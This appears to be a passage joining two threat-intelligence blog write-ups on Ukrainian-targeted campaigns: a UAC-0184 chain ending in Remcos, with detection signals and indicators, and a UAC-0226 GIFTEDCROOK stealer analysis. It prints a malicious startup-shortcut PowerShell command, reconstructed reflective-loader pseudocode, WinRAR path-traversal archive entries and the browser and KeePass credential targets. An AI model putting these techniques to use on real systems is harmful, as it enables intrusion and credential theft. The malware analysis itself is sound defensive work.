    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 3,
      "to": "e_lnk_013",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 4,
      "to": "e_lnk_014",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 5,
      "to": "e_lnk_xlsx",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_012",
      "sequence_order": 6,
      "to": "e_ps1_rite_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_013",
      "sequence_order": 7,
      "to": "e_ps1_shout_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_014",
      "sequence_order": 8,
      "to": "e_ps1_hint_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_xlsx",
      "sequence_order": 9,
      "to": "e_ps1_collect_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 10,
      "to": "e_rite_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 11,
      "to": "e_shout_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 12,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 13,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_hint_url",
      "sequence_order": 14,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_collect_url",
      "sequence_order": 15,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 16,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_rite_ps1",
      "sequence_order": 17,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_shout_ps1",
      "sequence_order": 18,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 19,
      "to": "e_payload_zip",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 20,
      "to": "e_clusterhub",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 21,
      "to": "e_update",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 22,
      "to": "e_logging",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 23,
      "to": "e_monitor",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 24,
      "to": "e_physics",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_clusterhub",
      "sequence_order": 25,
      "to": "e_update",
      "type": "execute"
    },
    {
      "confidence": "likely",
      "from": "e_update",
      "sequence_order": 26,
      "to": "e_logging",
      "type": "execute"
    },
    {
      "confidence": "confirmed",
      "from": "e_update",
      "sequence_order": 27,
      "to": "e_monitor",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_monitor",
      "sequence_order": 28,
      "to": "e_shellcode",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_shellcode",
      "sequence_order": 29,
      "to": "e_physics",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_physics",
      "sequence_order": 30,
      "to": "e_idat_stream",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_idat_stream",
      "sequence_order": 31,
      "to": "e_hijack_bundle",
      "type": "drops"
    },
    {
      "confidence": "likely",
      "from": "e_hijack_bundle",
      "sequence_order": 32,
      "to": "e_inputdll",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_hijack_bundle",
      "sequence_order": 33,
      "to": "e_remcos",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_remcos",
      "sequence_order": 34,
      "to": "e_c2",
      "type": "connect"
    }
  ],
  "title": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "x_evidence_url": "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/",
  "x_note": "Only ritecommunion.ps1 and shoutnewspaper.ps1 were available for direct inspection. hintprefix.ps1 and collectivisationgown.ps1 are confirmed as LNK-referenced URLs, but their bodies were not present in the analyzed set. Endpoint execution details are retained as chain context; IIM technique annotations are limited to applicable infrastructure/container properties."
}

You can test it in the IIM Workbench

The same IP is therefore visible at both the staging and C2 positions.
The chain does not show a separate redirector, domain or frontend service in the analyzed artifacts.

The IIM representation also highlights an important distinction:

144.31.236.240:80

is used for delivery while:

144.31.236.240:27018

is used by the final payload for command and control.

They are the same infrastructure entity performing different roles within the campaign flow.

Defensive observations

The strongest detections should focus on combinations of artifacts and behavior rather than one filename.

Initial archive and shortcut signals

Investigate archives containing apparent image or Office filenames that end in .lnk, especially when accompanied by instructions telling the user to extract them before opening.

The observed shortcut command lines combine:

cmd.exe /v /c
MSXML2.XMLHTTP
ADODB.Stream
cscript //b
powershell -NoP -W Hidden -ExecutionPolicy Bypass

The API names are reconstructed from smaller strings and the downloaded scripts are deleted after execution.

PowerShell staging signals

The recovered scripts:

• download szch45clusterhum.zip;
• create an MSWinDistro directory;
• extract the archive;
• execute MSWinDistro/ClusterHub.exe;
• open a matching JPG decoy.

The combination of an application-like extraction directory, OneDrive components and image decoys is unusual.

OneDrive sideload signals

Investigate OneDrive-related binaries running from:

Downloads
Desktop
%TEMP%
%APPDATA%

or from an archive-created directory such as:

MSWinDistro

The following local combination is particularly relevant:

ClusterHub.exe
UpdateRingSettings.dll
LoggingPlatform.dll
monitor_base.sym
physicsdesc.map

Container-level signals

The local payload containers can be detected structurally:

• large printable filler prefix;
• no valid PNG signature;
• repeated big-endian PNG chunk lengths;
• many consecutive IDAT chunks;
• final IEND;
• reconstructed data that becomes meaningful after DWORD XOR and LZNT1 decompression.

These properties are likely to survive filename and hash rotation.

Network signals

Relevant observed endpoints are:

http://144.31.236[.]240/szch45/ritecommunion.ps1
http://144.31.236[.]240/szch45/shoutnewspaper.ps1
http://144.31.236[.]240/szch45/hintprefix.ps1
http://144.31.236[.]240/szch45/collectivisationgown.ps1
http://144.31.236[.]240/szch45clusterhum.zip
144.31.236[.]240:27018

Connections to the HTTP paths indicate delivery activity.

Connections to TCP port 27018 are associated with the recovered Remcos configuration.

Conclusion

The newly recovered initial artifacts complete the chain.

The campaign does not begin with ClusterHub.exe.

It begins with a Ukrainian-language archive containing four shortcuts disguised as images and a spreadsheet.

Those shortcuts construct a small VBScript downloader, retrieve PowerShell stages and delete the temporary files after execution. The PowerShell scripts download a second ZIP, extract a OneDrive-themed application package, start the sideload host and open a real decoy file.

From that point onward, the chain follows the same broad architecture documented in the previous UAC-0184 sample:

The actor changed the delivery mechanism.

• They replaced the Plane9 exterior with OneDrive
• They rotated the container names, keys, offsets and final payload
• They retained the core loading pipeline and even reused the internal %windir%\SysWOW64\input.dll path

The newest build also provides a much clearer endgame.

The modular HijackLoader bundle decodes Remcos Agent 7.1.0 Pro, configured to communicate with the same server that delivered the initial PowerShell stages and secondary archive:

144.31.236.240:27018

The exterior changed.
The loader skeleton remained.
And this time, the complete path from the first click to the final controller is visible.

Core indicators

Initial archive
spisokszch.zip
SHA-256:
c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

JPG_012.jpg.lnk
SHA-256:
bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851

JPG_013.jpg.lnk
SHA-256:
fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8

JPG_014.jpg.lnk
SHA-256:
a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c

spisokszch.xlsx.lnk
SHA-256:
6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef

ritecommunion.ps1
SHA-256:
adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc

shoutnewspaper.ps1
SHA-256:
43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7

collectivisationgown.ps1
SHA-256:
95c8f0ac2e427a5637e554c60f649cab1fe55f649fe3aacde3c66fdc6491921b

hintprefix.ps1
SHA-256:
56b19b9f63a649e8cfb9a0e4bb73aac52fbc2265e9793a5b976221432d0ba77f

Secondary archive
szch45clusterhum.zip
SHA-256:
fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633

ClusterHub.exe
SHA-256:
a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93

UpdateRingSettings.dll
SHA-256:
da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7

LoggingPlatform.dll
SHA-256:
c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1

monitor_base.sym
SHA-256:
93621d3793198cb00c1a0450e8e3375d6c0de862a8449ab796c894062ae32612

physicsdesc.map
SHA-256:
ad17e13f05399f0c3a2b13505507a78d8c2dbe2850e507a2d78b9dfa2f5b5e9a

Decoded Remcos Agent
SHA-256:
40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1

198995fecc0e38a2749b7e48c54112a959b77878683b726ee36430c4bacec196  00_000004f0_x86.bin
c50bffbef786eb689358c63fc0585792d174c5e281499f12035afa1ce2ce19c8  01_00045f4a_x86.bin
8e8e43a2f0069f081f5ffb77237faebcda9a46e8f8fd0e128500e74bbc9ea3a5  02_00091422_x64.bin
3594a835ed3dbf80ac460c0e852fa91baa3b17aadff9c3b40c03eff6b34658d2  03_000cd556_x86.bin
729e5965e43ff458f6da901536c9a43be52a3820718e2dd5456150e2d73bb97f  04_000ce156_x64.bin
68bee500e0080f21c003126e73b6d07804d23ac98b2376a8b76c26297d467abe  05_000e9b56_x86.bin
b02b8547644bbfe77428e59c5ccec56c412e3c83aec44180e59110189a249956  06_000ea556_x64.bin
324e2f2241604e53b88bd590213385abbb2961d3f17debfb4d40e4fa7bd9c4c0  07_001018c2_x86.bin

04_decompressed_hijackloader_bundle.bin
SHA256:
4870337bcd6e3ba0d82ca6a42604c05f1885c87967d0dc120f699d2b19706247

Delivery and C2:
144.31.236.240
144.31.236.240:27018

Mutex:
Rmc-X5JFP2

Configured filename:
remcos.exe

by Robin Dost

A few months ago, I analyzed a UAC-0226 campaign delivering a GIFTEDCROOK stealer through a weaponized WinRAR archive.
Of course, that wasn’t it yet, we’re going to keep tracking our friends, so let’s go 🙂

The chain was relatively simple:

RAR archive
    -> decoy PDF
    -> LNK
    -> obfuscated PowerShell
    -> additively encoded payload
    -> GIFTEDCROOK

Sample: 420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

The sample discussed here follows the same general idea, but the implementation is different.

This time, the actor uses an ADS-based WinRAR path traversal to silently place a shortcut in the Windows Startup directory while dropping two additional stages into C:\ProgramData.

The PowerShell loader is still buried under generated garbage, but the payload behind it is more interesting: an additively encoded, headerless PE image containing its own reflective mapper.

Underneath that loader sits a browser and file stealer targeting Chromium, Firefox, documents, VPN configurations, KeePass databases and other potentially sensitive material.

So, let’s take the chain apart.

Before we start:

I wilI will use my Infrastructure Intelligence Model (IIM) to demonstrate how easily two attacks from the same actor can be compared without reducing the analysis to changing hashes, filenames and IP addresses.

If you are new to IIM, I recommend reading the following pages first:

Why IIM is useful in this case

Traditional threat intelligence platforms are good at storing indicators and mapping techniques.
What they often fail to preserve is the structure of the attack itself:

How was the payload delivered?
Which component triggered execution?
What changed between campaigns?
Which parts of the chain remained stable?

This becomes especially visible with actors such as Gamaredon.
Their infrastructure, filenames, scripts and payloads rotate constantly, while recurring operational patterns often remain hidden across separate reports and IOC collections.

IIM models each component by its role inside the chain, such as Entry, Staging, Payload or C2.
This makes different campaigns directly comparable, even when all underlying indicators have changed.

The result is what I call Tooling Evolution Intelligence: understanding how an actors delivery methods, loaders, payload formats and operational decisions evolve over time.

In the following analysis, two UAC-0226/GIFTEDCROOK attacks are placed into the same IIM view.
The underlying pattern remains recognizable, while changes in persistence, payload encoding, in-memory loading and telemetry become visible immediately.

Initial archive structure

The archive was presented as a Ukrainian PDF named:

взвод розвідки.pdf

This roughly translates to:

Reconnaissance platoon

The visible PDF contains references to:

Дрон на оптоволокні
Fiber-optic drone

Літак-розвідник
Reconnaissance aircraft

It also contains names and military ranks.

That is a much narrower theme than a generic military document.
The lure appears specifically designed around Ukrainian reconnaissance and UAV-related personnel.

The recovered archive entries looked like this:

взвод розвідки.pdf

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\WC3

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\wt1

взвод розвідки.pdf:..\..\..\..\..\Roaming\Microsoft\Windows\
Start Menu\Programs\Startup\ThJRq_6uEj.lnk

The colon after the PDF filename is important.

These are not merely oddly named files.
The syntax is consistent with NTFS Alternate Data Streams combined with path traversal.
If you follow this Blog, you might already know this CVE through my Gamaredon (UAC-0010) series.

CVE-2025-6218 is the related earlier WinRAR path traversal issue.
Both vulnerabilities are often mentioned together, but the ADS structure visible in this archive is the distinguishing part of CVE-2025-8088.

The resulting file placement is:

C:\ProgramData\WC3
C:\ProgramData\wt1

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
ThJRq_6uEj.lnk

This already changes the interaction model compared to the previous sample.

The victim does not necessarily need to identify and manually launch a suspicious shortcut from the extracted archive.
The shortcut is placed directly into the user’s Startup directory and is executed when that user logs in again.

Stage 0: The Startup shortcut

The shortcut points to:

C:\Windows\System32\cmd.exe

Its arguments normalize to approximately:

cmd.exe /c start /min "" ^
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass ^
-Command "powershell -NoProfile -ExecutionPolicy Bypass ^
-Command \"iex (Get-Content 'C:\ProgramData\WC3' -Raw)\""

The execution chain is therefore:

Startup LNK
    -> cmd.exe
    -> minimized PowerShell
    -> second hidden PowerShell
    -> read C:\ProgramData\WC3
    -> execute it through IEX

There is no remote download at this point.
Everything required for execution has already been planted by the archive.

The shortcut metadata contains the machine identifier:

desktop-hagd25b

It also contains timestamps close to the creation time of the decoy PDF.
These values may describe the system used to package the archive, although LNK and document timestamps should always be treated as low-confidence artifacts because they are easy to manipulate.

Stage 1: Deobfuscating WC3

Despite its extensionless filename, WC3 is a PowerShell script.

At first glance, it is intentionally unpleasant:

random function names
random variable names
large meaningless arrays
constant arithmetic
thousands of irrelevant Write-Host calls
sleep operations
unused helper functions

The script is around 92 KB, but only a small fraction of it contributes to the actual execution chain.

This is the same general obfuscation philosophy seen in the earlier UAC-0226 sample: generate enough noise to make the script look complicated without introducing a particularly strong protection mechanism.

The first step was therefore not to understand every function.

It was to identify the small number of operations that interact with files, memory and native APIs.

After removing the junk, the relevant constants were:

Stage path:       C:\ProgramData\wt1
Stage size:       1,131,008 bytes
Decode value:     72 / 0x48
Execution offset: 95,152 / 0x173B0
Initial delay:    60 seconds

The script dynamically resolves the following APIs:

ntdll!NtAllocateVirtualMemory
ntdll!NtProtectVirtualMemory
ntdll!NtCreateThreadEx
ntdll!NtWaitForSingleObject
ntdll!NtClose

kernel32!GetExitCodeThread

It resolves them through .NET reflection and Microsoft.Win32.UnsafeNativeMethods rather than declaring them through a normal Add-Type block.

The cleaned execution logic looks like this:

Start-Sleep -Seconds 60

$stage = [System.IO.File]::ReadAllBytes("C:\ProgramData\wt1")

for ($i = 0; $i -lt 1131008; $i++) {
    $stage[$i] = [byte](($stage[$i] - 72) -band 0xff)
}

$base = NtAllocateVirtualMemory(
    current_process,
    1131008,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
)

Copy-ToMemory $stage $base

NtProtectVirtualMemory(
    current_process,
    $base,
    1131008,
    PAGE_EXECUTE_READWRITE
)

$thread = NtCreateThreadEx(
    current_process,
    $base + 0x173B0,
    $base
)

NtWaitForSingleObject($thread)

The decoded data is copied into the current PowerShell process and executed at a fixed offset.

That fixed offset becomes important later.

Loader telemetry

After the thread exits, WC3 collects four 32-bit values:

DWORD 0: thread exit code
DWORD 1: value at decoded image + 0x44
DWORD 2: value at decoded image + 0x48
DWORD 3: value at decoded image + 0x4C

The resulting 16-byte structure is sent to:

hxxps://142.111.194[.]73:8640/dj5FZEiLnA/

Before sending it, the loader globally disables TLS certificate validation.
Initially, the three values stored inside the decoded image looked like possible output from the stealer.
Further analysis showed that this was incorrect.
The fields are written by the reflective mapper and represent loader status, an error or NTSTATUS value and a progress or stage indicator.
This means the outer PowerShell layer implements its own execution telemetry.

The operator can likely distinguish between outcomes such as:

mapping started
allocation failed
imports failed
relocations failed
entry point reached
payload exited

This callback is separate from the actual data collection performed by the inner DLL.

Stage 2: Decoding wt1

The second ProgramData file is exactly:

1,131,008 bytes
0x114200 bytes

The decoding operation is just an additive byte transformation:

The same operation can be described as:

plaintext[i] = ciphertext[i] - 72 mod 256

This is not encryption in any meaningful cryptographic sense, it is enough to hide readable strings, signatures and headers from basic static inspection.

The previous UAC-0226 sample used essentially the same technique, but with a subtraction value of 117.
Here, the value has changed to 72.

After decoding, I expected a normal PE file.
Instead, the file still did not begin with:

MZ

At this point it would be easy to assume that the decoder was wrong.

It was not.

The payload is a headerless PE image

Although the DOS and NT headers had been replaced, the decoded data still contained recognizable PE structures:

.text
.rdata
.data
.pdata
.fptable
.reloc

The first 0x400 bytes form a custom header used by the loader.

Enough metadata remained to reconstruct the original image:

The section layout was:

The export directory revealed:

DLL name: Main.dll
Export:   Func
Ordinal:  1
RVA:      0x17FB0

To convert that RVA into a raw file offset:

raw offset =
    .text raw offset
    + (export RVA - .text RVA)

raw offset =
    0x400
    + (0x17FB0 - 0x1000)

raw offset =
    0x173B0

That result exactly matches the hardcoded execution offset inside WC3:

0x173B0

So the PowerShell loader is not jumping into an arbitrary shellcode location.

It is calling:

Main.dll!Func

Main.dll!Func: The reflective mapper

The exported function is not the stealer’s main logic.

It is a custom reflective PE loader.

Its job is to take the headerless image passed by PowerShell and build a working DLL in memory.

The process is approximately:

validate custom header
    -> resolve APIs through PEB walking and export hashing
    -> allocate SizeOfImage
    -> copy headers and sections
    -> resolve imports
    -> apply relocations
    -> set section permissions
    -> initialize runtime structures
    -> call DLL entry point with DLL_PROCESS_ATTACH

The custom header acts as communication space between the mapper and the PowerShell loader.
This is where the status values at offsets 0x44, 0x48 and 0x4C originate.

The design gives the actor several advantages:

1. The file does not look like a standard PE on disk.
2. Static tools cannot parse it correctly without reconstruction.
3. The payload never needs to be written back as a valid DLL.
4. The outer loader can receive detailed mapper status.
5. Native API usage avoids some of the most obvious PowerShell injection patterns.

This is a meaningful evolution from the simpler loader in the earlier campaign.
The previous sample decoded a payload and used more conventional memory allocation and thread execution.
The current build adds a dedicated custom-header format and a complete reflective mapper between the PowerShell script and the final DLL.

Reconstructing the inner strings

Once the PE structure was rebuilt, the next obstacle was the internal string handling.
The payload does not store most relevant strings as plaintext.
A function near the beginning of the .text section implements an RC4-like stream cipher:

256-entry state array
RC4-style key scheduling
RC4-style pseudo-random generation
state swaps
XOR with generated keystream

The main difference is that the implementation processes 16-bit values corresponding to UTF-16 words rather than treating everything as ordinary 8-bit strings.

I identified 118 call sites to this decoder.
Of those, 116 could be statically reconstructed.

The first useful results were environment variable names:

USERNAME
USERPROFILE
TEMP

The malware does not simply call GetEnvironmentVariableW.
Instead, it walks the process environment through the PEB and locates the requested values itself.

That is not necessary for functionality, but it reduces obvious API-level indicators.

Browser collection

The decrypted strings revealed explicit targeting of several browsers.

Chromium-based browsers

Google Chrome
Microsoft Edge
Opera

The payload looks for:

Login Data
Cookies
Network\Cookies
Local State
Last Version

The imported function:

CryptUnprotectData

is consistent with decrypting DPAPI-protected Chromium key material and locally stored secrets.

The payload also contains strings used to identify and filter Chromium subprocesses:

--type=utility
--type=crashpad-handler
--type=gpu-process

Firefox

The malware searches Firefox profile directories for:

logins.json
key3.db
key4.db
cookies.sqlite

This gives it access to stored login metadata, cookies and Firefox key database material.

So this is not just a generic document collector.

It includes dedicated browser-stealing functionality across both Chromium and Firefox ecosystems.

File collection

The payload also maintains an extension allowlist:

Some extensions are especially relevant:

ovpn  -> OpenVPN profiles and possibly embedded credentials
kdbx  -> KeePass databases
jks   -> Java KeyStores
eml   -> saved email messages

The collector searches locations including:

Desktop
Documents
Downloads
drive roots

Strings such as:

/Files/
/Files/C/

suggest that collected files are organized by source or drive inside the staging structure.

Local staging

The reconstructed paths include:

%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\%USERNAME%
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\
%USERNAME%\JUWOyZd5pm7qym
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt

The randomly named ZIP file is very likely the final local staging container:

%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip

The file:

%TEMP%\oBKhrQLe1CKmO3RhHO

is used as an eight-byte persistent identifier.

The logic is approximately:

if identifier file exists:
    read first eight bytes
else:
    identifier = GetSystemTimeAsFileTime()
    write identifier to file

This gives the malware a stable per-infection or per-host value without relying on the registry.

Additional referenced files include:

ExitCode.txt
Key10.txt
logs.txt

Their exact role was not fully resolved through static analysis.

Persistence and cleanup

The inner payload contains active references to:

C:\ProgramData\

%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\

cmd.exe /c "timeout /t 5 & del "

This supports code paths for:

copying or placing files in ProgramData
interacting with the user Startup folder
delayed self-deletion

The initial persistence, however, is already established by the archive itself.
The WinRAR path traversal places the LNK in Startup before the malware is executed.
The internal persistence-related code may represent:

installation repair
payload migration
redundant persistence
cleanup after execution

The exact conditions for each branch would require dynamic tracing, but it’s too hot and i am too lazy today.

What changed compared to the previous UAC-0226 sample?

The two chains are clearly related in design philosophy.

(IIM Comparison View in Kraken)

If you want to compare the two chains yourself, here’s the Chain as JSON, you can throw it into the IIM Workbench and explore it for yourself 🙂
And: If you are interested in using my tooling or you want to support me in any way, feel free to visit https://malwarebox.eu or message me via contact@robin-dost.de

{
  "actor_id": "UAC-0226",
  "attack_annotations": [
    {
      "comment": "Both observations use PowerShell loaders.",
      "name": "PowerShell",
      "tactic": "Execution",
      "technique_id": "T1059.001"
    },
    {
      "comment": "Generated junk code and encoded payload stages.",
      "name": "Obfuscated/Compressed Files and Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1027"
    },
    {
      "comment": "Additive decoding: 117 in April; 0x48 in June.",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1140"
    },
    {
      "comment": "June observation plants the LNK in the user Startup folder.",
      "name": "Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "technique_id": "T1547.001"
    },
    {
      "comment": "June observation maps a headerless PE image through Main.dll!Func.",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "technique_id": "T1620"
    }
  ],
  "chain": [
    {
      "entity_id": "apr_archive",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "baseline-visible-lnk",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_loader",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "virtualalloc-loader",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_encoded",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-117",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "directly-reconstructed-pe",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "data-exfiltration-c2",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "jun_archive",
      "needs_review": true,
      "review_notes": "Original archive itself was not supplied; entity value is descriptive.",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_change_marker": "ads-path-traversal",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_change_marker": "uav-recon-targeting",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "startup-persistence",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wc3",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "native-ntapi-loader",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wt1",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-0x48-custom-header",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "reflective-pe-mapper",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_telemetry",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "loader-telemetry-not-exfiltration",
      "x_lane": "june-2026"
    }
  ],
  "chain_id": "uac-0226-giftedcrook-apr-jun-2026-comparison",
  "confidence": "likely",
  "description": "Dual-lane comparison graph overlaying two related UAC-0226/GIFTEDCROOK observations. The April and June lanes remain disconnected so the visualizer can compare stable structure and implementation changes without asserting that one sample directly produced the other.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_archive",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df",
      "x_label": "Weaponized RAR archive",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_decoy",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf",
      "x_label": "Military service registry decoy",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_lnk",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "ojMP31J28ohEDxT.lnk",
      "x_label": "Visible archive shortcut",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_loader",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "05fE",
      "x_label": "Obfuscated PowerShell loader",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_encoded",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Arj",
      "x_label": "Additively encoded payload; subtract 117",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_payload",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d",
      "x_label": "Decoded GIFTEDCROOK payload",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_c2",
      "source": "Synaptic Security Blog",
      "type": "url",
      "value": "https://136.0.141[.]138:8406/rcv/",
      "x_label": "RC4-reconstructed exfiltration endpoint",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "Analyst-provided archive entry structure"
      ],
      "id": "jun_archive",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "Weaponized RAR containing взвод розвідки.pdf (original archive filename and hash unavailable)",
      "x_label": "ADS/path-traversal archive",
      "x_lane": "june-2026",
      "x_value_status": "descriptive-placeholder"
    },
    {
      "evidence": [
        "SHA256 dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30"
      ],
      "id": "jun_decoy",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "взвод розвідки.pdf",
      "x_label": "Reconnaissance/UAV-themed decoy",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445"
      ],
      "id": "jun_lnk",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ThJRq_6uEj.lnk",
      "x_label": "Startup-planted shortcut",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
